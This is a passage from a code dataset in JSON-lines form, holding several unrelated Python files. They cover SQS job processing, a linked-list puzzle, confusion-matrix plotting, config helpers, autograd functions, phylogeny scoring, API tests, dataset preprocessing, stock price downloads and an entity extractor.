self.processors.get(queue_name, job_name)\n succeeded, failed = processor.process_batch(job_messages)\n result.update(succeeded, failed)\n if succeeded:\n entries = [{\n 'Id': msg.message_id,\n 'ReceiptHandle': msg.receipt_handle\n } for msg in succeeded]\n queue.delete_messages(Entries=entries)\n if failed:\n entries = [{\n 'Id':\n msg.message_id,\n 'ReceiptHandle':\n msg.receipt_handle,\n 'VisibilityTimeout':\n processor.backoff_policy.get_visibility_timeout(msg),\n } for msg in failed]\n queue.change_message_visibility_batch(Entries=entries)\n return result\n\n def get_raw_messages(self, queue_name, wait_seconds):\n \"\"\"\n Return raw messages from the queue, addressed by its name\n \"\"\"\n kwargs = {\n 'WaitTimeSeconds': wait_seconds,\n 'MaxNumberOfMessages': 10,\n 'MessageAttributeNames': ['All'],\n 'AttributeNames': ['All'],\n }\n queue = self.get_queue(queue_name)\n return queue.receive_messages(**kwargs)\n\n def get_queue(self, queue_name):\n \"\"\"\n Helper function to return queue object by name\n \"\"\"\n if queue_name not in self.queue_mapping_cache:\n queue = self.sqs_resource.get_queue_by_name(\n QueueName=self.get_sqs_queue_name(queue_name))\n self.queue_mapping_cache[queue_name] = queue\n return self.queue_mapping_cache[queue_name]\n\n def get_all_known_queues(self):\n resp = self.sqs_client.list_queues(\n **{\n 'QueueNamePrefix': self.queue_prefix,\n })\n if 'QueueUrls' not in resp:\n return []\n urls = resp['QueueUrls']\n ret = []\n for url in urls:\n sqs_name = url.rsplit('/', 1)[-1]\n ret.append(sqs_name[len(self.queue_prefix):])\n return ret\n\n def get_sqs_queue_name(self, queue_name):\n \"\"\"\n Take \"high-level\" (user-visible) queue name and return SQS\n (\"low level\") name by simply prefixing it. Used to create namespaces\n for different environments (development, staging, production, etc)\n \"\"\"\n return '{}{}'.format(self.queue_prefix, queue_name)\n\n def redrive_policy(self, dead_letter_queue_name, max_receive_count):\n return RedrivePolicy(self, dead_letter_queue_name, max_receive_count)\n\n\nclass RedrivePolicy(object):\n \"\"\"\n Redrive Policy for SQS queues\n\n See for more details:\n https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-dead-letter-queues.html\n \"\"\"\n\n def __init__(self, sqs_env, dead_letter_queue_name, max_receive_count):\n self.sqs_env = sqs_env\n self.dead_letter_queue_name = dead_letter_queue_name\n self.max_receive_count = max_receive_count\n\n def __json__(self):\n queue = self.sqs_env.sqs_resource.get_queue_by_name(\n QueueName=self.sqs_env.get_sqs_queue_name(\n self.dead_letter_queue_name))\n target_arn = queue.attributes['QueueArn']\n # Yes, it's double-encoded JSON :-/\n return json.dumps({\n 'deadLetterTargetArn': target_arn,\n 'maxReceiveCount': str(self.max_receive_count),\n })\n\n\ndef group_messages(queue_name, messages):\n \"\"\"\n Group SQSMessage instances by JobName attribute. If queue name ends with\n .fifo (it's a FIFO queue), we don't reorder messages while grouping,\n otherwise messages can get out of the grouper reorderd\n \"\"\"\n if not queue_name.endswith('.fifo'):\n messages = sorted(messages, key=get_job_name)\n for job_name, job_messages in groupby(messages, key=get_job_name):\n yield job_name, list(job_messages)\n\n\ndef get_job_name(message):\n attrs = message.message_attributes or {}\n job_name = (attrs.get('JobName') or {}).get('StringValue')\n if job_name is None:\n return \"default_callback\"\n else:\n return job_name\n","sub_path":"sqs_workers/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":14385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"187394095","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def removeNthFromEnd(self, head: ListNode, n: int) -> ListNode:\n dummyHead = ListNode(0)\n dummyHead.next = head\n ptr1 = ptr2 = dummyHead\n \n for _ in range(n):\n ptr2 = ptr2.next\n \n while ptr2.next:\n ptr1 = ptr1.next\n ptr2 = ptr2.next\n \n ptr1.next = ptr1.next.next\n \n return dummyHead.next","sub_path":"019. Remove Nth Node From End of List/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"613655837","text":"from sklearn.metrics import confusion_matrix\nimport itertools\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.pyplot as plt\nplt.rcParams[\"figure.figsize\"] = (10,6)\ndef plot_confusion_matrix(cm, classes,\n normalize=True,\n title='Ma trận nhầm lẫn',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n print(cm)\n \n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt if int(cm[i, j]) != cm[i, j] else '.0f'),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('Nhãn thật')\n plt.xlabel('Nhãn đoán')\n\n\ndef dz(data_loader, model):\n true_labels = data_loader.test_labels\n predicted_labels = []\n test_features = data_loader.test_features\n labels = ['khong', 'mot', 'hai', 'ba', 'bon', 'nam', 'sau', 'bay', 'tam', 'chin']\n for idx in range(len(test_features)):\n predicted_labels.append(model.get_class(data_loader.test_features[idx]))\n print(true_labels)\n print(predicted_labels)\n con = confusion_matrix(true_labels, predicted_labels, labels=labels)\n plot_confusion_matrix(con, labels)\n","sub_path":"hmm/confusion.py","file_name":"confusion.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"16827022","text":"# PROJECT : kungfucms\n# TIME : 2018/11/19 15:25\n# AUTHOR : Younger Shen\n# EMAIL : younger.x.shen@gmail.com\n# CELL : 13811754531\n# WECHAT : 13811754531\n# WEB : https://punkcoder.cn\n\nimport os\nfrom pathlib import Path\nimport environ\n\n\ndef get_base_path():\n path = environ.Path(__file__)\n base_dir = path - 3\n return str(base_dir)\n\n\ndef get_proper_paths(*p):\n base_dir = get_base_path()\n proper_paths = map(lambda d: d if d.startswith('/') else os.path.join(base_dir, d), p)\n return proper_paths\n\n\ndef config_env(file_name='.env'):\n e = environ.Env()\n abs_path = get_base_path()\n env_path = os.path.join(abs_path, file_name)\n e.read_env(env_path)\n return e\n\n\nenv = config_env()\n\n\ndef get_static_dirs():\n base_dir = get_base_path()\n theme_dir = os.path.join(base_dir, 'themes')\n path = Path(theme_dir)\n dirs = [(p.name, str(p)) for p in path.iterdir()]\n return dirs\n\n\ndef get_media_root():\n path = env.str('MEDIA_ROOT', '/upload')\n return path if path.startswith('/') else os.path.join(get_base_path(), path)\n\n\ndef get_theme_dir():\n theme_name = env.str('THEME', )\n\n try:\n from importlib import import_module\n theme = import_module(theme_name if theme_name else 'kungfucms.themes.default')\n except ModuleNotFoundError as e:\n msg = \"theme {THEME} is not found, please check out.\"\n raise ModuleNotFoundError(msg.format(THEME=theme_name))\n else:\n theme_path = os.path.dirname(theme.__file__)\n return theme_path\n\n\ndef get_theme_template_dir():\n theme_path = get_theme_dir()\n return os.path.join(theme_path, 'templates')\n\n\ndef get_theme_static_dir():\n theme_path = get_theme_dir()\n return os.path.join(theme_path, 'static')\n\n\ndef get_static_url():\n url = env.str('STATIC_URL', '/static')\n return url\n\n\ndef get_media_url():\n url = env.str('MEDIA_URL', '/media')\n return url\n\n\ndef get_static_root():\n path = env.str('STATIC_ROOT', 'static')\n return path if path.startswith('/') else os.path.join(get_base_path(), path)\n\n\n# trim the parameter and then lower it\ndef normalize_string(s, lower=False):\n s = str(s) if s else ''\n\n if lower:\n s = s.strip().lower()\n else:\n s = s.strip()\n\n return s\n","sub_path":"kungfucms/utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"300450900","text":"# Copyright 2019,2020,2021 Sony Corporation.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport nnabla as nn\nimport nnabla.function as _F\nimport nnabla.functions as F\n\nfrom .backward_function import UnaryDataGrad\n\n\nclass PadDataGrad(UnaryDataGrad):\n\n def __init__(self, ctx, pad_width, mode='constant', constant_value=0):\n super(PadDataGrad, self).__init__(ctx)\n self._func = _F.Pad(ctx, pad_width, mode, constant_value)\n\n\ndef pad_backward(inputs, pad_width, mode='constant', constant_value=0):\n \"\"\"\n Args:\n inputs (list of nn.Variable): Incomming grads/inputs to/of the forward function.\n kwargs (dict of arguments): Dictionary of the corresponding function arguments.\n\n Return:\n list of Variable: Return the gradients wrt inputs of the corresponding function.\n \"\"\"\n if mode != \"constant\":\n raise NotImplementedError(\n \"{}_backward (mode!=constant) is not implemented.\".format(func['snake_name']))\n dy = inputs[0]\n x0 = inputs[1]\n ctx = nn.get_current_context()\n # constant value is always zero after 1st-order derivative\n df = PadDataGrad(ctx, pad_width, mode, constant_value=0)\n df.xshape = x0.shape\n dx0 = df(dy)\n return dx0\n\n\ndef pad_data_grad_backward(inputs, pad_width, mode='constant', constant_value=0):\n \"\"\"\n Args:\n inputs (list of nn.Variable): Incomming grads/inputs to/of the forward function.\n kwargs (dict of arguments): Dictionary of the corresponding function arguments.\n\n Return:\n list of Variable: Return the gradients wrt inputs of the corresponding function.\n \"\"\"\n if mode != \"constant\":\n raise NotImplementedError(\n \"{}_backward (mode!=constant) is not implemented.\".format(func['snake_name']))\n gdx = inputs[0]\n gdy = F.pad(gdx, pad_width, mode, constant_value=0)\n return gdy\n","sub_path":"python/src/nnabla/backward_function/pad.py","file_name":"pad.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"210593579","text":"import sys\nimport os\nimport shutil\nimport Functions\nimport glob\nimport pandas as pd\n\n####Parse input file####\n#SeqLs: list lines in \"Data\" file given in your input file. See SequenceList.txt for the format of \"Data.\"\n#Rpath: path to Rscript\n#MLTEDpath: path to ./main (MLTED software)\n#Summary: output errors in the input file\n#InputParse: 'y' or 'n', in which 'y' indictes that there is errors in the input file and the clonephytester program terminate here.\nInput=sys.argv[1] #*.input\nSeqLs, Rpath, MLTEDpath, Summary, InputParse = Functions.parse_input(Input)\n\nIn0 = open(sys.argv[2]).readline().strip()\noutf = open(sys.argv[3],'w')\n\n####File of true clone sequences####\n#Sim2TrueFile: a dictionary to assign a file of true clone sequences for each dataset.\n#Sim2TrueFile: a key is \"Sim\" in your \"Data\" file. See SequenceList.txt for the format of \"Data.\"\n#Sim2TrueFile: \"ID\" is \"Data\" in you \"Data\" file.\nSim2TrueFile={'G7':'G7/True/G7-ID.meg','G12':'G12/True/G12-ID.meg','P10':'P10/True/ID_True.meg','MA':'MA/True/ID_True_NoRedun.meg','G7cna':'G7/True/G7-ID.meg','MA50':'MA/True/ID_True_NoRedun.meg','TGlinear':'TGlinear/True/IDCells_True.meg','TGstep':'TGstep/True/IDCells_True.meg','TGconst':'TGconst/True/IDCells_True.meg'}\n\n\n#Scores are computed for each given inference in the \"Data\" file.\n\n####Parse a file of inferred clone sequences####\n#Sim: \"Sim\" in your \"Data\" file. See SequenceList.txt for the format of \"Data.\"\n#ID: \"Data\" in your \"Data\" file.\n#TruMeg: A file (.meg format) with true clone sequences for a dataset.\n#InfMeg: A file (.meg format) with inferred clone sequences for a dataset.\n#Summary: if there are errors in files of true and inferred clone sequences, the errors are shown.\n#InfParse: y' or 'n', in which 'y' indictes that there is errors in the input files and scores are not computed for this dataset.\nlogf = open(\"log.log\",'w')\nSim,ID,TruMeg,InfMeg,Summary,InfParse = Functions.parse_inferred_file(In0,Summary,Sim2TrueFile)\nintag = In0.strip().split('\\t')[2][:-4]\nnametag = os.path.basename(intag)\nif InfParse!='y': print (Summary)\nif InfParse=='y':\n ####Scores for this dataset are stored in ResAll####\n ResAll={}\t\t\t\t\t\t \n ####Copy mega files####\n #InfMegTMP: Copied file of inferred clone sequences. Redundant sequences are removed, if any.\n #TruMegTMP: Copied file of true clone sequences.\n InfMegTMP=InfMeg.split('/')[-1]\n TruMegTMP=TruMeg.split('/')[-1]\n print (\"INFMEG\",InfMegTMP)\n print (\"TRUMEG\",TruMegTMP)\n shutil.copy2(InfMeg, InfMegTMP)\n shutil.copy2(TruMeg, TruMegTMP)\n Functions.RmRedunSeq(InfMegTMP)\n InfMegTMP=InfMegTMP[:-4]+'_NoRedun.meg'\n \n ####Annotate inferred clones####\n #inferred clone sequences are paired with the most similar true clone sequences.\n #This clone annotation is output in the same directory of the mega file of inferred clone sequences.\n #PairList: list the line of clone annotation file\n #Inf2TruClo: dictionary of inferred clones matched with true clones\n #TrueCloneLs: list of true clone\n #Tru2Inf2GE: the number of SNV assignment errors (GE) for each inferred clone\n #TrueClone_Ls: list of true clones.\n PairList,Inf2TruClo,TrueCloneLs,Tru2Inf2GE,TrueClone_Ls=Functions.CloneAnno(TruMegTMP,InfMegTMP)\n shutil.copy2(InfMegTMP[:-4]+'_TrueCloneAnnotation.txt',InfMeg[:-4]+'_TrueCloneAnnotation.txt')\n \n ####infer true and inferred clone phylogeny####\n #use MEGACC to infer bifurcating phylogeny.\n #use phangorn pachage in R to infer multifurcating phylogeny from bifurcating phylogeny.\n #TrueMultiTree: nwk format true clone phylogeny.\n #InfMultiTree: nwk format inferred clne phylogeny. The number of clones was made to be the same as that in its true clone phylogeny.\n TrueMultiTree, InfMultiTree=Functions.Build_true_and_inferred_phylogeny(TrueClone_Ls,PairList,TruMegTMP,InfMegTMP,Rpath,intag)\n \n ####Compute RF####\n #RF: RF distance calcuated by using PhyloNet_3.6.1.jar\n if TrueMultiTree!='NA' and InfMultiTree!='NA':\n RF=Functions.Compute_RF(TrueMultiTree, InfMultiTree, nametag)\n ResAll['RF']=RF\n \n ####Compute mutation order error####\n #Sequential_Error,Parallel_Error,Concurrent_Error: see ref [1] for th detail of thse error rates\n Sequential_Error,Parallel_Error,Concurrent_Error = Functions.Compute_mut_order_error(InfMegTMP,TruMegTMP)\n ResAll['AncError']=Sequential_Error\n ResAll['SibError']=Parallel_Error\n ResAll['CluError']=Concurrent_Error\n\n ####Compute MLTED####\n #MLTED: MLTED score computed by using the 'main' software.\n MLTED=Functions.Compute_MLTED(TrueMultiTree,InfMegTMP,TruMegTMP,Rpath,MLTEDpath,intag)\n ResAll['MLTED']=MLTED\n\n ####Compute TreeVec####\n #TreeVec: TreeVec distance by using treespace package in R.\n TreeVec=Functions.Compute_TreeVec(TrueMultiTree,InfMegTMP,Inf2TruClo,TrueCloneLs,Tru2Inf2GE,Rpath,intag)\n ResAll['TreeVec']=TreeVec\n\n\n ####Delete unnecessary files####\n #os.remove('test.out')\n #os.remove('test.nwk')\n #os.remove('test1.nwk')\n os.remove(InfMegTMP[:-4]+'_TrueCloneAnnotation.txt')\n os.remove(InfMegTMP)\n os.remove(TruMegTMP)\n outf.write(Sim+'\\t'+ID+'\\t'+str(ResAll)+'\\n')\n \n#####MLTED, TreeVec, RF, and error rate of ordering mutations (scores) reported in ref [1] in README.txt####\n#xl = pd.ExcelFile('Summary.xlsx')\n\n####make output excel with score of \"YournMethod\"####\n#Out: output file name\n#Out=Input[:-6]+'_summary.xlsx'\n#Functions.make_output_excel(Out,ID2Res,xl,Rpath)\n\n#make plot\n#os.system(Rpath+' Plots.r')\n#shutil.copy2('plot.jpg',Out[:-5]+'.jpg')\n#os.remove('plot.jpg')\n#os.remove('All.xlsx')\n","sub_path":"clonephytester_snakemake.py","file_name":"clonephytester_snakemake.py","file_ext":"py","file_size_in_byte":5709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"365168841","text":"from common_fixtures import * # NOQA\nfrom gdapi import ApiError\n\n\n@pytest.fixture(scope='module')\ndef user_client(context):\n return context.user_client\n\n\ndef _user_preference(client, name=None):\n if name is None:\n name = random_str()\n preference = client.wait_success(client.create_user_preference(\n name=name, value=random_str()))\n got_preference = client.by_id('userPreference', preference.id)\n assert preference.id == got_preference.id\n assert name == got_preference.name\n assert preference.value == got_preference.value\n return got_preference\n\n\ndef make_prefs(client):\n pref_ids = []\n for x in range(0, 5):\n pref_ids.append(\n _user_preference(client, name=random_str()).id)\n return set(pref_ids)\n\n\ndef get_prefs_ids(client, all=False):\n pref_ids = []\n for pref in client.list_user_preference(all=all):\n pref_ids.append(pref.id)\n return set(pref_ids)\n\n\ndef test_create_user_preference(user_client):\n _user_preference(user_client)\n\n\ndef test_delete_user_preference(user_client):\n preference = _user_preference(user_client)\n preference = user_client.wait_success(preference.deactivate())\n preference = user_client.wait_success(preference.remove())\n preference = user_client.wait_success(preference.purge())\n preference = user_client.by_id('userPreference', preference.id)\n assert preference.state == 'purged'\n preference = _user_preference(user_client)\n preference = user_client.wait_success(preference.remove())\n assert preference.state == 'removed'\n preference = user_client.wait_success(preference.purge())\n assert preference.state == 'purged'\n\n\ndef test_update_user_preference(user_client):\n preference = _user_preference(user_client)\n new_value = random_str()\n user_client.update(preference, value=new_value)\n got_preference = user_client.by_id('userPreference', preference.id)\n assert got_preference.value == new_value\n\n\ndef test_update_user_preference_pass_name(user_client):\n preference = _user_preference(user_client)\n new_value = random_str()\n user_client.update(preference, name=preference.name, value=new_value)\n got_preference = user_client.by_id('userPreference', preference.id)\n assert got_preference.value == new_value\n\n\ndef test_unique_user_preference(user_client, new_context):\n rand_str = random_str()\n _user_preference(user_client, name=rand_str)\n with pytest.raises(ApiError) as e:\n _user_preference(user_client, name=rand_str)\n assert e.value.error.status == 422\n _user_preference(new_context.user_client, name=rand_str)\n with pytest.raises(ApiError) as e:\n _user_preference(new_context.user_client, name=rand_str)\n assert e.value.error.status == 422\n\n\ndef test_all_filter_user_preference(admin_user_client, request):\n ctx1 = new_context(admin_user_client, request)\n ctx2 = new_context(admin_user_client, request)\n ctx1_prefs = make_prefs(ctx1.user_client)\n ctx2_prefs = make_prefs(ctx2.user_client)\n got_ctx1_prefs = get_prefs_ids(ctx1.user_client)\n got_ctx2_prefs = get_prefs_ids(ctx2.user_client)\n assert len(ctx1_prefs & got_ctx1_prefs) == len(ctx1_prefs)\n assert len(ctx2_prefs & got_ctx2_prefs) == len(ctx2_prefs)\n assert len(got_ctx1_prefs & got_ctx2_prefs) == 0\n admin_prefs = get_prefs_ids(admin_user_client)\n all_prefs = get_prefs_ids(admin_user_client, all=True)\n assert len(admin_prefs) != len(all_prefs)\n assert admin_prefs <= all_prefs\n assert ctx1_prefs | ctx2_prefs <= all_prefs\n assert len((ctx1_prefs | ctx2_prefs) & admin_prefs) == 0\n","sub_path":"tests/integration/cattletest/core/test_user_preferences.py","file_name":"test_user_preferences.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"447863621","text":"import os\n\nfrom lns.common.dataset import Dataset\nfrom lns.common.structs import Object2D, Bounds2D\nfrom lns.common.preprocess import Preprocessor\n\n\nDATASET_NAME = \"Y4Signs\"\n\n\n@Preprocessor.register_dataset_preprocessor(DATASET_NAME)\ndef _Y4Signs(path: str) -> Dataset:\n \n\n if not os.path.isdir(path):\n raise FileNotFoundError(\"Could not find Y4Signs dataset on this path.\")\n \n images: Dataset.Images = []\n classes: Dataset.Classes = []\n annotations: Dataset.Annotations = {}\n \n # list of classes [str] in set01/obj.names\n classes = open(os.path.join(path, \"set01\", \"obj.names\")).read().splitlines()\n\n\n \n for set_ in os.listdir(path):\n if os.path.isdir(os.path.join(path, set_, \"train.txt\")):\n raise FileNotFoundError(\"train.txt does not exist in \" + set_)\n \n f = open(os.path.join(path, set_, \"train.txt\"))\n #list of all absolute paths from train.txt. extra /data out\n for rel_image_path in f.read().split():\n # absolute image path to the image.\n abs_image_path = os.path.join(path, set_, rel_image_path[4:])\n\n # append the image path to list of images\n images.append(abs_image_path)\n\n # annotations file for corresponding image\n annotation_file_path = abs_image_path[:-4] + \".txt\"\n annotation_file = open(annotation_file_path)\n\n temp_annotations = []\n\n # read the annotations file and loop through each line.\n for bounding_box in annotation_file.read().splitlines():\n # split each line with spaces to get the [class, x1, y1, x2, y2]\n annotation_arr = bounding_box.strip().split(\" \")\n \n # check if legal\n if not len(annotation_arr) == 5:\n raise InvalidBoundingBoxError(annotation_file_path)\n \n # Construct and append an Object2D object\n temp_annotations.append(Object2D(Bounds2D(\n float(annotation_arr[1]),\n float(annotation_arr[2]),\n float(annotation_arr[3]),\n float(annotation_arr[4]),\n ), \n int(annotation_arr[0])))\n \n # exit for loop and added (abs_image_path, temp_annotation: list) key value pair.\n annotations[abs_image_path] = temp_annotations\n \n return Dataset(DATASET_NAME, images, classes, annotations)\n\n # for i, class_name in enumerate(os.listdir(path)):\n # classes.append(class_name)\n # class_folder = os.path.join(path, class_name)\n # for file in os.listdir(class_folder):\n # image_path = os.path.join(class_folder, file)\n # images.append(image_path)\n # annotations[image_path] = [Object2D(Bounds2D(0, 0, 0, 0), i)]\n\n\nclass InvalidBoundingBoxError(Exception):\n \"\"\"Exception raised for errors in the input salary.\n\n Attributes:\n salary -- input salary which caused the error\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, path):\n self.path = path\n \n def __str__(self):\n return \"invalid bounding box at: \" + self.path\n\n","sub_path":"lns/common/preprocessing/newsigns.py","file_name":"newsigns.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"495793912","text":"#!/usr/bin/env python3\nimport PriceGetter as PG\nfrom tabulate import tabulate\nimport sqlite3\nfrom progressbar import * # just a simple progress bar\nimport sys\nimport getopt\n\n\nstock_list=[\"AAPL\", \"AMZN\", \"FB\", \"NFLX\", \"GOOGL\",\n \"TSLA\", \"NVDA\", \"TWTR\", \"BABA\", \"MSFT\",\n \"INTC\", \"AMD\", \"SQ\"]\n\n\n\ndef process_file(fn,name_list):\n with open(fn) as f:\n name_list += f.read().splitlines() #same as readlines() but removes the \\n from each line\n\n\ndef main(argv):\n# df = PG.YahooFinanceHistory('AAPL', days_back=30).get_quote()\n# print(tabulate(df, headers='keys', tablefmt='psql'))\n# print(df.shape[0])\n list_file=\"\"\n db_name=\"\"\n num_days=0\n name_list=[]\n try:\n opts, args = getopt.getopt(argv,\"hl:d:n:\",[\"list_file=\",\"db_name=\",\"num_days=\"])\n except getopt.GetoptError:\n print (\"\"\"driver.py -l \n -d \n -n \"\"\")\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print (\"\"\"driver.py -l \n -d \n -n \"\"\") \n sys.exit()\n elif opt in(\"-l\",\"--list_file\"):\n list_file=arg\n elif opt in(\"-d\",\"--db_name\"):\n db_name=arg\n elif opt in(\"-n\",\"--num_days\"):\n num_days=int(arg)\n\n process_file(list_file, name_list)\n print(len(name_list))\n \n count=0\n widgets = ['Test: ', Percentage(), ' ', Bar(marker='*',left='[',right=']'),\n ' ', ETA(), ' ', FileTransferSpeed()] #see docs for other options\n pbar = ProgressBar(widgets=widgets, maxval=len(name_list))\n pbar.start()\n\n conn=sqlite3.connect(db_name)\n for stock in name_list:\n table_name=stock.lower()+\"_values\"\n df = PG.YahooFinanceHistory(stock, num_days).get_quote()\n # print(tabulate(df, headers='keys', tablefmt='psql'))\n if num_days==1:\n df.to_sql(table_name, conn, if_exists=\"append\")\n else:\n df.to_sql(table_name, conn, if_exists=\"replace\") \n pbar.update(count)\n count+=1\n pbar.finish\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n\n","sub_path":"scripts/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"205538383","text":"#!/usr/bin/env python\n#homework1\n'''\na = [1, 2, 3, 4, 5, 6, 7, 8, 9]\nb = a[1:8:2]\nprint('Question 1 answer is:', b)\n\nc = a[::-2]\nprint('Question 2 answer is:', c)\n\nd = a[0:4]\nprint('Question 3 answer is:', d)\n\ne = a[3::-1]\nprint('Question 4 answer is:', e)\n'''\n#homework2\n\n#homework3\n\nlist1=[\n 'zero',\n 'one',\n 'two',\n 'three',\n 'four',\n 'five',\n 'six',\n 'seven',\n 'eight',\n 'nine',\n]\nnum = input('Please input number here:')\nnew_number = []\n\nfor n in num:\n new_number.append(list1[int(n)])\nprint(' '.join(new_number))","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"569868110","text":"\n## Proxies\nfiddlerproxy = { # for capturing data going via Fiddler\n \"http\": \"http://localhost:8888\",\n \"https\": \"http://localhost:8888\",\n }\nproxy = { # Internet Facing proxies\n \"http\": \"https://:\",\n \"https\": \"https://:\",\n }\nproxydirect = { # direct proxy for connecting directly\n \"http\": \"\",\n \"https\": \"\",\n }\n \n \nAKAMAI_HOST_POSTFIX = '-nsu.akamaihd.net'\nAKAMAI_AUTH_VERSION = 5\nAKAMAI_PROTOCOL_VERSION = 1\n","sub_path":"netstorage/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"321873256","text":"import os.path as osp\nimport sys\nimport jieba\n\nsys.path.append('../..')\n\nfrom structure.entity_extractor.rule_extractor import EntityRuleExtractor\nfrom structure.entity_extractor.predict import Predictor\nfrom structure.knowledge import Knowledge\nfrom conf.config import settings\nfrom utils.s3_utils import S3Util\nfrom utils.logger_helper import logger\n\n\nclass EntityExtractHandler:\n\n def __init__(self):\n \"\"\" rule extractor \"\"\"\n # knowledge_file = S3Util.Instance().get_latest_file(settings['note_structure']['knowledge_file'])\n # self.knowledge = Knowledge(knowledge_file)\n # properties = self.knowledge.get_all_property()\n # self.rule_extractor = EntityRuleExtractor(properties)\n \"\"\" model extractor \"\"\"\n model_path = S3Util.Instance().get_latest_model_path(settings['note_structure']['entity_extract_model_path'])\n model_file = osp.join(model_path, 'model.pt')\n bert_config = osp.join(model_path, 'bert_base.json')\n vocab_file = osp.join(model_path, 'vocab.txt')\n label_index = osp.join(model_path, 'label_index_food.json')\n self.ner_predictor = Predictor(bert_config, vocab_file, model_file, label_index)\n # 属于NER类型\n # self.single_case_type = ['功效', '品牌', '工具', '美食概念词', '适宜人群', '食品']\n self.__warm_up()\n\n def __warm_up(self):\n # text = '黑色连衣裙'\n text = '当你想吃广东菜的时候/t /t 没有办法,只有自己做,在杭州吃过几家茶餐厅,手撕鸡都很一言难尽,吃货的人生注定是:自己动手丰衣足食。/t 连姜葱汁蘸料都要做到相似, ##SEP## 可惜我们全家就我和我老公买账这个菜,其他人完全get不到这个精华和美味。/t 过两天等我回去还要做五柳炸蛋和猪脚姜,五柳菜和添丁甜醋已经在快递的路上了。'\n jieba.lcut(text)\n # rule_rst = self.rule_extractor.predict(text)\n ner_rst = self.ner_predictor.predict(text)\n # logger.info('EntityExtractHandler rule results of rule_extractor :{} text:{} '.format(rule_rst, text))\n logger.info('EntityExtractHandler ner results of ner_predictor :{} text:{} '.format(ner_rst, text))\n\n def intersect_extract(self, rule, ner):\n rst = []\n for one in rule:\n for cur in ner:\n if one['type'] == cur['type'] and \\\n one['text'] == cur['text'] and \\\n one['startPosition'] == cur['startPosition']:\n rst.append(cur)\n return rst\n\n def postprocess(self, text, entities):\n words = jieba.lcut(text)\n margin = []\n last = -1\n for w in words:\n margin.append(last + 1)\n margin.append(last + len(w) + 1)\n last = last + len(w)\n margin.append(len(text))\n rst = []\n for e in entities:\n if len(e['text']) != 1:\n rst.append(e)\n continue\n start = e['startPosition']\n end = e['endPosition']\n if start in margin and end in margin:\n rst.append(e)\n return rst\n\n def predict(self, text):\n # sents = re.split('。|!|?|\\?|!|\\n', text.strip())\n # extract_rst = []\n # for i, sent in enumerate(sents):\n # rule_ext = self.rule_extractor.predict(sent)\n # ner_ext = self.ner_predictor.predict(sent)\n # ner_ext = ner_ext['entities']\n # cur = self.intersect_extract(rule_ext, ner_ext)\n # cur = self.select_extract(cate, cur)\n # extract_rst.append(rule_ext)\n # if len(extract_rst) == 0:\n # return []\n # extract_rst = [self.clear_extract(one) for one in extract_rst]\n ner_rst = self.ner_predictor.predict(text)\n entities = self.postprocess(text, ner_rst['entities'])\n ner_rst['entities'] = entities\n return ner_rst\n\n\nif __name__ == '__main__':\n extractor = EntityExtractHandler()\n text = '酸甜油柑 采用本地农户种植的油柑\\n \\n 挑果洗净放入老式砂缸 加入盐巴搓去涩水\\n .\\n 再加梅汁白糖手搓入味 搓过后的油柑 入口微涩 回味甘甜 孕妇吃油柑能有效缓解孕吐/便秘'\n 